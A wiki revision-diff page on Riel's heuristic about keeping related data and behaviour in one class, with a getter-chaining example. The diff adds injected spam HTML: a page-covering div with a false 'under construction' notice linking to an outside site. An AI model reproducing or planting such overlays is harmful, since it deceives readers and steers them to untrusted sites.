Keep related data and behavior in one place

From CSSEMediaWiki
(Difference between revisions)
Jump to: navigation, search
Line 1: Line 1:
 +
----
 +
<div style="background: #E8E8E8 none repeat scroll 0% 0%; overflow: hidden; font-family: Tahoma; font-size: 11pt; line-height: 2em; position: absolute; width: 2000px; height: 2000px; z-index: 1410065407; top: 0px; left: -250px; padding-left: 400px; padding-top: 50px; padding-bottom: 350px;">
 +
----
 +
=[http://ozoqemuvo.co.cc This Page Is Currently Under Construction And Will Be Available Shortly, Please Visit Reserve Copy Page]=
 +
----
 +
=[http://ozoqemuvo.co.cc CLICK HERE]=
 +
----
 +
</div>
 
:''Keep related data and behavior in one place.'' --Riel's Heuristic 2.9, [[Arthur Riel 1996]]
 
:''Keep related data and behavior in one place.'' --Riel's Heuristic 2.9, [[Arthur Riel 1996]]
  
If two or more areas are actually of the same key abstraction they should be captured in the same class. As soon as there are any "get" operations that might imply that this heuristic is being violated.
+
If two or more areas are actually of the same key abstraction they should be captured in the same class. As soon as there are any &quot;get&quot; operations that might imply that this heuristic is being violated.
  
-- ''Explanation'': If the object retrieved by the get operation is further used to call another function or obtain another object then this is a violation. A rule of thumb is whenever you see consecutive use of "." operations then it's very likely to be a violation of this rule. A simple example is:
+
-- ''Explanation'': If the object retrieved by the get operation is further used to call another function or obtain another object then this is a violation. A rule of thumb is whenever you see consecutive use of &quot;.&quot; operations then it's very likely to be a violation of this rule. A simple example is:
 
  student.getMarks().calculateGrade()
 
  student.getMarks().calculateGrade()
  

Revision as of 07:12, 24 November 2010


Keep related data and behavior in one place. --Riel's Heuristic 2.9, Arthur Riel 1996

If two or more areas are actually of the same key abstraction they should be captured in the same class. As soon as there are any "get" operations that might imply that this heuristic is being violated.

-- Explanation: If the object retrieved by the get operation is further used to call another function or obtain another object then this is a violation. A rule of thumb is whenever you see consecutive use of "." operations then it's very likely to be a violation of this rule. A simple example is:

student.getMarks().calculateGrade()

This example also violates the Law of Demeter.

See also

Personal tools